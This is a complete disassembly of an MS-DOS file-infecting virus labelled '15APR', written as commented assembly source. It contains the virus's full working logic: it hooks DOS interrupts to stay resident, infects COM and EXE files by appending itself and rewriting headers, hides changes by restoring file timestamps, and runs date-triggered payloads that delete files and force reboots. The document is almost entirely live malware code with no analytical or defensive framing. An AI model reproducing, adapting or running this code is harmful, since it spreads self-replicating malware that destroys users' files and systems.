PAGE 60,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ 15APR ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 4-Mar-91 ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 4Ch ; (0000:004C=31h) data_2e equ 4Eh ; (0000:004E=70h) data_3e equ 84h ; (0000:0084=0E3h) data_4e equ 86h ; (0000:0086=161Ah) data_5e equ 90h ; (0000:0090=8Eh) data_6e equ 92h ; (0000:0092=1498h) data_7e equ 102h ; (0000:0102=0CC00h) data_8e equ 106h ; (0000:0106=326h) data_9e equ 47Bh ; (0000:047B=0) data_10e equ 0 ; (0326:0000=6A7h) data_11e equ 2 ; (0326:0002=70h) data_12e equ 0 ; (0691:0000=0C9h) data_13e equ 1 ; (0692:0001=0D217h) data_14e equ 2 ; (06E3:0002=2342h) data_15e equ 6 ; (06E3:0006=2344h) data_32e equ 0FC99h ; (701E:FC99=0) data_33e equ 0FC9Bh ; (701E:FC9B=0) data_34e equ 0FCB7h ; (701E:FCB7=0) data_35e equ 0FCB9h ; (701E:FCB9=0) data_36e equ 0FCBBh ; (701E:FCBB=0) data_37e equ 0FCC5h ; (701E:FCC5=0) data_38e equ 0FCC7h ; (701E:FCC7=0) data_39e equ 0FCCDh ; (701E:FCCD=0) data_40e equ 0FCCFh ; (701E:FCCF=0) code_seg_a segment assume cs:code_seg_a, ds:code_seg_a org 100h b15apr proc far start: data_16 dw 63E9h data_17 dw 0C303h db 23 dup (0C3h) db 2Ah, 2Eh, 45h, 58h, 45h, 0 data_19 dw 0C3C3h data_20 dw 0C3C3h data_21 dw 0 data_22 dw 0 data_23 dw 0 data_24 dw 0 data_25 dw 0 data_26 dd 00000h data_27 dw 0 data_28 dw 0 data_29 dd 00000h data_30 dw 0 data_31 dw 0 db 0Ah, 0Dh, 0Ah, 0Dh, ' Bhaktivedan' db 'ta Swami Prabhupada (1896-1977)', 0Ah db 0Dh, 0Ah, 0Dh, '$=MKu', 9, 'U' db 8Bh, 0ECh, 83h, 66h, 6, 0FEh db 5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h db 12h, 3Dh, 0, 3Dh, 74h, 0Dh db 3Dh, 0, 6Ch, 75h, 5, 80h db 0FBh, 0, 74h, 3 loc_1: jmp loc_15 loc_2: push es push ds push di push si push bp push dx push cx push bx push ax call sub_6 call sub_7 cmp ax,6C00h jne loc_3 ; Jump if not equal mov dx,si loc_3: mov cx,80h mov si,dx locloop_4: inc si mov al,[si] or al,al ; Zero ? loopnz locloop_4 ; Loop if zf=0, cx>0 sub si,2 cmp word ptr [si],4D4Fh je loc_7 ; Jump if equal cmp word ptr [si],4558h je loc_6 ; Jump if equal loc_5: jmp short loc_14 db 90h loc_6: cmp word ptr [si-4],4E41h je loc_8 ; Jump if equal cmp word ptr [si-4],444Ch je loc_8 ; Jump if equal cmp word ptr [si-4],4A52h je loc_8 ; Jump if equal jnz loc_9 ; Jump if not zero loc_7: cmp word ptr [si-4],444Eh je loc_5 ; Jump if equal jnz loc_10 ; Jump if not zero loc_8: int 19h ; Bootstrap loader loc_9: jz loc_10 ; Jump if zero loc_10: mov ax,3D02h call sub_5 jc loc_14 ; Jump if carry Set mov bx,ax mov ax,5700h call sub_5 mov cs:data_22,cx ; (701E:0127=0) mov cs:data_23,dx ; (701E:0129=0) mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 push cs pop ds mov dx,103h mov si,dx mov cx,18h mov ah,3Fh ; '?' call sub_5 jc loc_12 ; Jump if carry Set cmp word ptr [si],5A4Dh jne loc_11 ; Jump if not equal call sub_1 jmp short loc_12 loc_11: call sub_4 loc_12: jc loc_13 ; Jump if carry Set mov ax,5701h mov cx,cs:data_22 ; (701E:0127=0) mov dx,cs:data_23 ; (701E:0129=0) call sub_5 loc_13: mov ah,3Eh ; '>' call sub_5 loc_14: call sub_7 pop ax pop bx pop cx pop dx pop bp pop si pop di pop ds pop es loc_15: jmp cs:data_26 ; (701E:012F=0) b15apr endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_1 proc near mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dx=mon/day cmp dh,4 je loc_16 ; Jump if equal jnz loc_17 ; Jump if not zero loc_16: mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dx=mon/day cmp dl,0Fh je loc_18 ; Jump if equal jnz loc_17 ; Jump if not zero loc_17: mov cx,[si+16h] add cx,[si+8] mov ax,10h mul cx ; dx:ax = reg * ax add ax,[si+14h] adc dx,0 push dx push ax mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 cmp dx,0 jne loc_19 ; Jump if not equal cmp ax,4E2h jae loc_19 ; Jump if above or = pop ax pop dx stc ; Set carry flag ret loc_18: mov dx,10h mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA to ds:dx mov dx,11Bh mov cx,110Bh mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx mov dx,2Eh mov ax,3D02h int 15h ; General services, ah=func 3Dh mov ah,41h ; 'A' int 21h ; DOS Services ah=function 41h ; delete file, name @ ds:dx jmp loc_25 db 0BAh, 3Fh, 1, 0B4h, 9, 0CDh db 21h, 0EBh, 1, 90h loc_19: mov di,ax mov bp,dx pop cx sub ax,cx pop cx sbb dx,cx cmp word ptr [si+0Ch],0 je loc_ret_22 ; Jump if equal cmp dx,0 jne loc_20 ; Jump if not equal cmp ax,4E2h jne loc_20 ; Jump if not equal stc ; Set carry flag ret loc_20: mov dx,bp mov ax,di push dx push ax add ax,4E2h adc dx,0 mov cx,200h div cx ; ax,dx rem=dx:ax/reg les di,dword ptr [si+2] ; Load 32 bit ptr mov cs:data_24,di ; (701E:012B=0) mov cs:data_25,es ; (701E:012D=0) mov [si+2],dx cmp dx,0 je loc_21 ; Jump if equal inc ax loc_21: mov [si+4],ax pop ax pop dx call sub_2 sub ax,[si+8] les di,dword ptr [si+14h] ; Load 32 bit ptr mov data_19,di ; (701E:0121=0C3C3h) mov data_20,es ; (701E:0123=0C3C3h) mov [si+14h],dx mov [si+16h],ax mov word ptr data_21,ax ; (701E:0125=0) mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 call sub_3 jc loc_ret_22 ; Jump if carry Set mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 mov ah,40h ; '@' mov dx,si mov cx,18h call sub_5 loc_ret_22: ret ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_2: mov cx,4 mov di,ax and di,0Fh locloop_23: shr dx,1 ; Shift w/zeros fill rcr ax,1 ; Rotate thru carry loop locloop_23 ; Loop if cx > 0 mov dx,di ret ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_3: mov ah,40h ; '@' mov cx,4E2h mov dx,100h call sub_6 jmp short loc_29 db 90h ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_4: mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dx=mon/day cmp al,6 je loc_24 ; Jump if equal jnz loc_25 ; Jump if not zero loc_24: mov dx,10h mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA to ds:dx mov dx,11Bh mov cx,110Bh mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx mov dx,2Eh mov ax,3D02h int 15h ; General services, ah=func 3Dh mov ah,41h ; 'A' int 21h ; DOS Services ah=function 41h ; delete file, name @ ds:dx jmp short loc_25 db 90h loc_25: mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 cmp ax,4E2h jb loc_ret_28 ; Jump if below cmp ax,0FA00h jae loc_ret_28 ; Jump if above or = push ax cmp byte ptr [si],0E9h jne loc_26 ; Jump if not equal sub ax,4E5h cmp ax,[si+1] jne loc_26 ; Jump if not equal pop ax stc ; Set carry flag ret loc_26: call sub_3 jnc loc_27 ; Jump if carry=0 pop ax ret loc_27: mov ax,4200h xor cx,cx ; Zero register xor dx,dx ; Zero register call sub_5 pop ax sub ax,3 mov dx,121h mov si,dx mov byte ptr cs:[si],0E9h mov cs:[si+1],ax mov ah,40h ; '@' mov cx,3 call sub_5 loc_ret_28: ret sub_1 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near loc_29: pushf ; Push flags call cs:data_26 ; (701E:012F=0) ret sub_5 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near push ax push ds push es xor ax,ax ; Zero register push ax pop ds cli ; Disable interrupts les ax,dword ptr ds:data_5e ; (0000:0090=18Eh) Load 32 bit ptr mov cs:data_27,ax ; (701E:0133=0) mov cs:data_28,es ; (701E:0135=0) mov ax,44Eh mov ds:data_5e,ax ; (0000:0090=18Eh) mov ds:data_6e,cs ; (0000:0092=1498h) les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr mov cs:data_30,ax ; (701E:013B=0) mov cs:data_31,es ; (701E:013D=0) les ax,cs:data_29 ; (701E:0137=0) Load 32 bit ptr mov ds:data_1e,ax ; (0000:004C=831h) mov ds:data_2e,es ; (0000:004E=70h) sti ; Enable interrupts pop es pop ds pop ax ret sub_6 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near push ax push ds push es xor ax,ax ; Zero register push ax pop ds cli ; Disable interrupts les ax,dword ptr cs:data_27 ; (701E:0133=0) Load 32 bit ptr mov ds:data_5e,ax ; (0000:0090=18Eh) mov ds:data_6e,es ; (0000:0092=1498h) les ax,dword ptr cs:data_30 ; (701E:013B=0) Load 32 bit ptr mov ds:data_1e,ax ; (0000:004C=831h) mov ds:data_2e,es ; (0000:004E=70h) sti ; Enable interrupts pop es pop ds pop ax ret sub_7 endp db 0B0h, 3, 0CFh ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_8 proc near mov dx,10h mul dx ; dx:ax = reg * ax ret sub_8 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_9 proc near xor ax,ax ; Zero register xor bx,bx ; Zero register xor cx,cx ; Zero register xor dx,dx ; Zero register xor si,si ; Zero register xor di,di ; Zero register xor bp,bp ; Zero register ret sub_9 endp db 1Eh, 0E8h, 0, 0 ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_10 proc near mov ax,4B4Dh nop int 21h ; DOS Services ah=function 4Bh ; run progm @ds:dx, parm @es:bx jc loc_30 ; Jump if carry Set jmp loc_40 loc_30: pop si push si nop mov di,si xor ax,ax ; Zero register push ax pop ds les ax,dword ptr ds:data_1e ; (0000:004C=831h) Load 32 bit ptr mov cs:data_39e[si],ax ; (701E:FCCD=0) mov cs:data_40e[si],es ; (701E:FCCF=0) les bx,dword ptr ds:data_3e ; (0000:0084=6E3h) Load 32 bit ptr mov cs:data_37e[di],bx ; (701E:FCC5=0) mov cs:data_38e[di],es ; (701E:FCC7=0) mov ax,ds:data_7e ; (0000:0102=0CC00h) cmp ax,0F000h jne loc_38 ; Jump if not equal mov dl,80h mov ax,ds:data_8e ; (0000:0106=326h) cmp ax,0F000h je loc_31 ; Jump if equal cmp ah,0C8h jb loc_38 ; Jump if below cmp ah,0F4h jae loc_38 ; Jump if above or = test al,7Fh jnz loc_38 ; Jump if not zero mov ds,ax cmp word ptr ds:data_10e,0AA55h ; (0326:0000=6A7h) jne loc_38 ; Jump if not equal mov dl,ds:data_11e ; (0326:0002=70h) loc_31: mov ds,ax xor dh,dh ; Zero register mov cl,9 shl dx,cl ; Shift w/zeros fill mov cx,dx xor si,si ; Zero register locloop_32: lodsw ; String [si] to ax cmp ax,0FA80h jne loc_33 ; Jump if not equal lodsw ; String [si] to ax cmp ax,7380h je loc_34 ; Jump if equal jnz loc_35 ; Jump if not zero loc_33: cmp ax,0C2F6h jne loc_36 ; Jump if not equal lodsw ; String [si] to ax cmp ax,7580h jne loc_35 ; Jump if not equal loc_34: inc si lodsw ; String [si] to ax cmp ax,40CDh je loc_37 ; Jump if equal sub si,3 loc_35: dec si dec si loc_36: dec si loop locloop_32 ; Loop if cx > 0 jmp short loc_38 loc_37: sub si,7 mov cs:data_39e[di],si ; (701E:FCCD=0) mov cs:data_40e[di],ds ; (701E:FCCF=0) loc_38: mov ah,62h ; 'b' int 21h ; DOS Services ah=function 62h ; get progrm seg prefix addr bx mov es,bx mov ah,49h ; 'I' int 21h ; DOS Services ah=function 49h ; release memory block, es=seg mov bx,0FFFFh mov ah,48h ; 'H' int 21h ; DOS Services ah=function 48h ; allocate memory, bx=bytes/16 sub bx,50h nop jc loc_40 ; Jump if carry Set mov cx,es stc ; Set carry flag adc cx,bx mov ah,4Ah ; 'J' int 21h ; DOS Services ah=function 4Ah ; change mem allocation, bx=siz mov bx,4Fh stc ; Set carry flag sbb es:data_14e,bx ; (06E3:0002=2342h) push es mov es,cx mov ah,4Ah ; 'J' int 21h ; DOS Services ah=function 4Ah ; change mem allocation, bx=siz mov ax,es dec ax mov ds,ax mov word ptr ds:data_13e,8 ; (0692:0001=0D217h) call sub_8 mov bx,ax mov cx,dx pop ds mov ax,ds call sub_8 add ax,ds:data_15e ; (06E3:0006=2344h) adc dx,0 sub ax,bx sbb dx,cx jc loc_39 ; Jump if carry Set sub ds:data_15e,ax ; (06E3:0006=2344h) loc_39: mov si,di xor di,di ; Zero register push cs pop ds sub si,36Ah mov cx,4E2h inc cx rep movsb ; Rep while cx>0 Mov [si] to es:[di] mov ah,62h ; 'b' int 21h ; DOS Services ah=function 62h ; get progrm seg prefix addr bx dec bx mov ds,bx mov byte ptr ds:data_12e,5Ah ; (0691:0000=0C9h) 'Z' mov dx,173h xor ax,ax ; Zero register push ax pop ds mov ax,es sub ax,10h mov es,ax cli ; Disable interrupts mov ds:data_3e,dx ; (0000:0084=6E3h) mov ds:data_4e,es ; (0000:0086=161Ah) sti ; Enable interrupts dec byte ptr ds:data_9e ; (0000:047B=0) loc_40: pop si cmp word ptr cs:data_32e[si],5A4Dh ; (701E:FC99=0) jne loc_41 ; Jump if not equal pop ds mov ax,cs:data_36e[si] ; (701E:FCBB=0) mov bx,cs:data_35e[si] ; (701E:FCB9=0) push cs pop cx sub cx,ax add cx,bx push cx push word ptr cs:data_34e[si] ; (701E:FCB7=0) push ds pop es call sub_9 ret ; Return far loc_41: pop ax mov ax,cs:data_32e[si] ; (701E:FC99=0) mov cs:data_16,ax ; (701E:0100=63E9h) mov ax,cs:data_33e[si] ; (701E:FC9B=0) mov cs:data_17,ax ; (701E:0102=0C303h) mov ax,100h push ax push cs pop ds push ds pop es call sub_9 ret sub_10 endp code_seg_a ends end start